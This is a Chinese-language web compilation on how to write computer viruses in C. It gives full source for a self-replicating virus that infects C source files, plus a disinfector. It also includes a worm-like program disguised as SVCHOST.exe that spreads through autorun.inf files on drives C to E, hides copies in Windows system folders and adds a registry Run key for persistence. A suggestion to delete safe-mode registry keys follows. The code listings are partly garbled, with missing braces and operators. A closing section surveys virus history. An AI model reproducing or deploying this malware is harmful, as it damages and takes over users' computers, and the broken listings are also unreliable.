本文目录一览:
怎样用C语言编写病毒 / 蓝讯
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。
InfectSection()
if (infectable_object_found
object_not_already_infect)
infect_object;
病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
TriggerSection()
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
Executesection()
if (trigger_statue_is_yes)
execute_payload;
怎样编写病毒
3.1.1病毒程序VIRUS.C
这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:
当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则
(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。
(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。
(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。
(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。
其中用到4个出错的返回值,分别是:
1:用户文件太大,不传染;
2:带病毒文件打不开,不传染;
3:带病毒文件读取不成功,不传染;
4:查找第一个匹配文件不成功。
如果返回值是0代表文件传染成功。
具体实现过程如下:
其中用到的函数和结构体用法参考3.3节。
首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。
然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。
如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。
如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。
然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。
这点是这样实现的:定义一个字符数组char include_h[]=; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,不进行插入。找出CALL VIRUSES;的插入点:如果有一行有printf、break、for、while语句其中之一,就对其后插入调用VIRUSES函数的调用语句。把病毒子程序写入文件。最后处理更改被感染的文件名。如果不进行改名,就不能进行多次传染,也就是说不能体现病毒的自我复制能力。查找一行是static char viruses_f[]=,把其中的文件名改为被感染的文件名。接着查找下一个匹配文件。
3.1.2病毒清除程序REVIURS.C
病毒的清除过程是和传染过程相逆的。传染的时候插入调用viruses函数的调用语句,在病毒清除文件里面就要删除掉这个语句。然后还要删除掉病毒子程序VIURSES_SUB和VIURSES。有一个问题不能进行还原。因为当时插入病毒子程序需要的头文件时没有记录传染前文件的头文件信息,所以不能进行还原。但是这一点不影响原文件。所以这点在病毒清除程序中没有进行处理。
由于演示的时候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一个目录下进行演示。考虑到VIRUS.C会把REVIURS.C传染和REVIRUS.C会把VIRUS.C清除两种情况。所以编写这两个程序的时候必须加入一条条件语句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。
当含有清除部分的程序被执行时。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果无此标志,继续找其它的C文件,直至全部检查一遍。若有这个标志,则
(1)查找磁盘文件,如果是有病毒的传染标志“INFECTED”则打开文件。如果没有则关闭文件并且寻找下一个TEST*.C。
(2)读取文件,首先判断是否为Viruses();如果不是则判断是否为int Viruses_sub(),如果都不是,则把读取部分放在二维数组a[500][80]中,如果只是为int Viruses_sub(),则读取文件结束。
(3)关闭文件,然后删除该文件。
(4)创建一个跟删除文件相同名字的文件。然后打开。
(5)把二维数组a[500][80]中的数据写入到新建的文件中。关闭文件,读取下一个文件。
3.2 程序流程图
3.2.1 病毒程序VIRUS.C流程图
N
N
Y Y
有
无
Y
N
3.2.2 解毒程序REVIRUS.C流程图
N
Y
无
有
Y
N
Y
N
3.3其中用到的函数和结构体的说明:
(1)结构体struct ffblk (在dir.h中)类型变量
变量ffblk用于打开文件,获取返回值。
Struct ffblk
{char ff_reserved[21];
char ff_attrib;
unsigned ff_ftime;
unsigned ff_fdate;
long ff_fize;
char ff_name[13];
程序中只用到ff_name来保存匹配文件名。
(2)结构体struct date(在dos.h中)变量
struct date
{int da_year; /* Year-1980 */
char da_day; /* Day of the month */
char da_mon; /* Month (1=Jan) */
程序中用来获取系统当前日期。具体用法为:
void getdate (struct date *datep);
(3)查找匹配文件
findfirst()函数和findnext()函数
调用方式:整型数=findfirst(文件名,结构变量名,属性常数组合(如0×24));
功能:检索由path和attr指定的文件,把结果返回到afer。
Findfirst返回关于第一个指定文件的信息。
Findnext继续检索。
返回值:0(检索成功),-1(没有找到指定的文件)
属性常数:
FA_NORMAL(0*00) 含意:Normal file, no attributes
FA_RDONLY (0*01) 含意:只读
FA_HIDDEN(0*02) 含意:隐含文件
FA_SYSTEM(0*24) 含意:系统文件
需要用到的头文件: dir.h
程序中的匹配文件属于普通文件,所以属性常数为0。
(4)读文件
函数原形:char *fgets (char *a, int n, FILE *fp);
功能:
从fp指向的文件读取一个长度为(n-1)的字符串,最后加一个’ \0’,存入始地址为a的空间。
若在读完n-1个字符之前遇到换行符或EOF,读入即结束。
返回值:返回地址a。
若遇文件结束或出错,返回NULL。
(5)在字符串中查找指定字符串的第一次出现
函数原形;
char *strstr(char *str1,char *str2);
功能:找出str2字符串在str1字符串中第一次出现的位置(不包括str2的串结束符)。
返回值:返回该位置的指针。
若找不到,返回NULL指针。
程序中用这个函数来判断字符串是否一致。
(6)改变文件位置指针
函数原形:int fseek (FILE *fp, long offset, int base);
功能:将fp所指文件的位置指针移到以base所指出的位置为基准、以offset为位移量的位置。
返回值:返回当前位置。否则,返回-1。SEEK_SET为文件开始。
由于读取文件的时候文件指针要发生变化。而重新执行一条命令的时候需要重新定位文件指针的位置,所以要用到fseek函数。程序中用这个函数定位到文件头,对文件进行重新读取。
3.4 程序清单
3.4.1病毒程序VIRUS.C程序清单如下:
/*INFECTED*/
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
viruses();
int viruses_sub()
struct ffblk ffblk;
int done,i,j,k,n_line;
FILE *virus_r,*virus_v;
/*virus_r指向将被感染的文件,virus_v指向已带病毒的文件*/
char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放*/
static char viruses_f[]=;/*文件被传染后,修改该值为自身文件名*/
int include_write;
int virus_call=0;
int virus_start=0;
char *main_flag[]=;
char *include_h[]=;
char *v_flag[]=;
struct date today;
/*VIRUSES DISPLAY*/
getdate(today); /*病毒显示日期信息*/
printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year);
/*AFFECT VIRUSES*/
done=findfirst("*.c",ffblk,0); /*查找第一个匹配文件*/
while(!done)
if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
p1=fgets(a[0][0],80,virus_r);
if(strstr(p1,v_flag[0])==NULL)
n_line=0; /*把文件全部读入a[500][80]*/
while(p1!=NULL)
n_line++;
p1=fgets(a[n_line][0],80,virus_r);
if(n_line=500)
fclose(virus_r);
return(1);
fseek(virus_r,0,SEEK_SET);
virus_v=fopen(viruses_f[0],"r"); /*打开带病毒的文件*/
if(virus_v==NULL)
fclose(virus_r);
return(2);
for(i=1;i5;i++) /*读带病毒文件前4行并写入将被传染的文件*/
p2=fgets(b,80,virus_v);
if(p2==NULL)
fclose(virus_r);
fclose(virus_v);
return(3);
fputs(b,virus_r);
for(j=0;jn_line;j++) /*把将被传染文件的原程序写回原文件*/
include_write=1; /*不写入病毒文件已有的包含语句*/
if(strstr(a[j][0],"#include")!=NULL)
for(i=0;i3;i++)
if(strstr(a[j][0],include_h[i])!=NULL)
include_write=-1;
if(virus_call==0) /*插入调用语句,并加上回车换行*/
for(i=0;i4;i++)
if(strstr(a[j][0],main_flag[i])!=NULL)
for(k=0;k80;k++)
b[k]=0;
strcpy(b[0],"viruses();");
b[10]=13;
b[11]=10;
fputs(b,virus_r);virus_call=1;
i=4;
if(include_write==1)fputs(a[j][0],virus_r);
p1=fgets(b,80,virus_v); /*把病毒子程序写入文件*/
while(p1!=NULL)
if(virus_start==0) /*找病毒子程序的第一条语句*/
if(strstr(p1,"int viruses_sub()")!=NULL)
virus_start=1;
if(virus_start==1)
if(strstr(p1,"char")!=NULL)
if(strstr(p1,"viruses_f[]=")!=NULL)
strcpy(b[29],ffblk.ff_name);
i=strlen(b[0]);
b[i]=34;
strcpy(b[i+1],");");
b[i+3]=13;
b[i+4]=10;
fputs(b,virus_r);
p1=fgets(b,80,virus_v);
fclose(virus_v);
fclose(virus_r);
return(0);
fclose(virus_r);
done=findnext(ffblk);
return(4);
viruses()
int num;
num=viruses_sub();
switch (num)
case 0 : printf("successful\n");
break;
case 1: printf("the file is outof line\n");
break;
case 2 : printf("the viruses file cannot open\n");
break;
case 3 : printf("cannot read viruses file\n");
break;
case 4: printf("cannot find file\n");
getch();
3.4.2病毒清除程序REVIURS.C清单如下:
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
struct ffblk ffblk;
int done,i,j,line,k;
static int n_line;
FILE *virus_r,*virus_v;
char a[500][80],b[80],*p;
char *v_flag[]=;
done=findfirst("*.c",ffblk,0);
while(!done)
if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)
for(k=0;k500;k++)
for(j=0;j80;j++)
a[k][j]=0;
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
p=fgets(b[0],80,virus_r);
if(strstr(p,v_flag[0])!=NULL)
line=0;
while(p!=NULL)
p=fgets(b[0],80,virus_r);
if(strstr(b[0],"int viruses_sub()")!=NULL)
break;
else if(strstr(b[0],"viruses();")==NULL)
k=strlen(b);
for(j=0;jk;j++)
a[line][j]=b[j];
a[line][j+1]=0;
line++;
n_line=line;
fclose(virus_r);
remove(ffblk.ff_name); /*删除文件*/
virus_r=fopen(ffblk.ff_name,"w+"); /*打开将被感染的文件*/
for(i=0;in_line;i++)
fputs(a[i][0],virus_r); /*把二维数组中的数据写入原文件*/
fclose(virus_r);
done=findnext(ffblk); /*查找下一个匹配文件*/
4. 计算机病毒的演示
4.1病毒程序VIRUS.C的演示过程
在一张已经格式化的软盘上,除了病毒源程序VIRUS.C和REVIRUS.C外,还有两个尚未被感染的C语言程序TEST1.C和TEST2.C。原始代码分别如下:
TEST1.C:
#include "stdio.h"
main()
int i,sum;
for(i=1;i100;i++)
sum=sum+i;
printf("sum=%d\n",sum);
TEST2.C
#include "stdio.h"
main()
printf("hello,world!\n");
在命令提示符下键入dir命令查看文件信息。
然后编译连接并执行VIRUS.C文件,运行结果显示:
Today is 5/20/2004
Successful
说明传染成功。再用dir命令查看文件信息
可以看到TEST2.C文件已经被传染,大小从64变成3949。用type命令查看TEST1的内容
可以看到病毒的子程序已经插入了,而且在主函数里面插入了调用VIRUSES函数语句。而且文件名自动改为“TEST2.C”。(如图中红线所示)
然后再把TEST2.C文件编译连接并运行。成功后,再用dir命令查看文件信息
可以看到TEST1.C也被感染了,大小从107变成了3969。再用type命令查看,结果如下:
可以看到,文件名称已经自动改为TEST1.C,而且病毒子程序已经拷贝过来,在这个过程中REVIRUS.C始终没有被感染,达到了我们的目的。
文件被感染前后内容如下图所示:
4.2病毒清除程序REVIRUS.C演示过程
然后我们来演示病毒的清除。编译运行REVIRUS.C后用dir命令查看文件信息。
图中可以看到TEST1.C和TEST2.C都变小了。虽然没有还原到以前的大小。这是因为运行病毒子程序需要的头文件没有删除,原因前面已经提及过了。然后用type命令分别查看一下TEST1.C和TEST2.C的内容。
图中可以看到,除了程序需要用到的头文件,剩下的已经基本还原。而且没有清除VIRUS.C里面的程序,基本达到了清除病毒的目的。演示成功。
从演示过程中可以看出,一旦程序被病毒感染,这个程序经过编译连接后运行时就能向没感染上病毒的程序扩散病毒,使病毒在系统中不断蔓延下去。而病毒清除程序运行一次就可以删除掉所有的病毒子程序和插入的调用语句。
病毒是怎么编的
首先肯定,计算机病毒是人编的。至于犯不犯法,这得根据病毒所造成的危害以及不同地区的相应法律来做出判定,我们不能对其是否犯法做出简单的判断。下面对病毒具体作如下说明:
病毒是一种计算机指令代码。用户运行了这些代码后,或是出现一个小小的恶作剧,或是产生一些恶意的结果,如破坏系统文件造成系统无法运行、数据文件统统删除、硬件被破坏、非法侵入内部数据库偷窃或篡改数据等等。
病毒的制造者往往出于炫耀自己的编程能力与控制力、或是因自己计算机使用中不慎染毒而产生的报复心理制毒传毒。也有一些是因为保护自己的知识产权而制作的一个可控“定时炸弹”。如果用户正常使用将不会发作;如果用户不及时缴纳费用或者私下传播该应用软件,那么 “定时炸弹”就会被引爆。
最早由冯.诺伊曼提出了这种可能性,20世纪70年代中期有几位美国科普作家在他们的科幻小说中描写了计算机病毒。1983年11月3日Fred.Cohen博士研制出一种在运行过程中不断复制自身的破坏性程序,Len.Adleman将其命名为计算机病毒(Computer Viruses)。
计算机和网络给我们生活提供的便利,远非计算机病毒带来的不便所能比拟的。只要我们了解病毒的传播方式,依靠专业人员的支持,就可以抵御病毒带来的各种危害,从而更为有效地利用计算机网络技术改进我们的生活。
常见病毒简介:
引导型-引导型病毒是感染磁盘引导区或主引导区的一类病毒,是感染率仅次于“宏病毒”的常见病毒。由于这类病毒感染引导区,当磁盘或硬盘在运行时,引发感染其他*.exe、*.com、*.386等计算机运行必备的命令程序,造成各种损害。常见的品种有tpvo/3783,Windows系统感染后会严重影响运行速度、某些功能无法执行,经过杀毒以后,必须重装Windows操作系统,才能正常运行。
文件型-文件型病毒是感染文件的一类病毒,是目前种类最多的一类病毒。黑客病毒Trojan.BO就属于这一类型。BO黑客病毒则利用通讯软件,通过网络非法进入他人的计算机系统,获取或篡改数据或者后台控制计算机。从而造成各种泄密、窃取事故。
混合型-这类病毒既感染命令文件、又感染磁盘引导区与主引导区。能破坏计算机主板芯片(BIOS)的CIH毁灭者病毒属于该类病毒。CIH是一个台湾大学生编写的一个病毒,当时他把它放置在大学的BBS站上,1998年传入大陆,发作的日期是每个月的26日。该病毒是第一个直接攻击计算机硬件的病毒,破坏性极强,发作时破坏计算机Flash BIOS芯片中的系统程序,导致主板与硬盘数据的损坏。1999年4月26日,CIH病毒在中国、俄罗斯、韩国等地大规模发作,仅大陆就造成数十万计算机瘫痪,大量硬盘数据被破坏。
宏病毒-是一类主要感染WORD文档和文档模板等数据文件的病毒。宏病毒是使用某个应用程序自带的宏编程语言编写的病毒,目前国际上已发现三类宏病毒:感染WORD系统的WORD宏病毒、感染EXCEL系统的EXCEL宏病毒和感染Lotus Ami Pro的宏病毒。目前,人们所说的宏病毒主要指Word和Excel宏病毒。从96年
怎么编写病毒代码?
病毒的编写是建立在对系统与网络充分的理解基础之上的,从有病毒以来每一种经典病毒无一不是智力的杰作这就是说就是你对系统网络有充分了解没有过人的思维智慧依旧编写不了病毒。如果你说就像写一个简单的那么一个del删除指令在没经过用户允许就删除了文件就算病毒了
如何用C语言写病毒?
在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#includestdio.h
#includestring.h
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int copy(char *infile,char *outfile)
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 ((input=fopen(infile,"rb"))!=NULL) ((output=fopen(outfile,"wb"))!=NULL))
while(!feof(input))
fread(temp,1,1,input);
fwrite(temp,1,1,output);
fclose(input);
fclose(output);
return 0;
else return 1;
int main(void)
FILE *input,*output;
int i,k;
for(i=0;i3;i++)
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
for(i=0;i=SVCHOST_NUM;i++)
if((input=fopen(files_svchost[i],"rb"))!=NULL)
fclose(input);
for(k=0;kSVCHOST_NUM;k++)
copy(files_svchost[i],files_svchost[k]);
i=SVCHOST_NUM+1;
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
} 如果你想来狠点;把安全模式的注册表项也删除了.让它进不了安全模式;
警告:不会修改注册表的人;别运行本程序...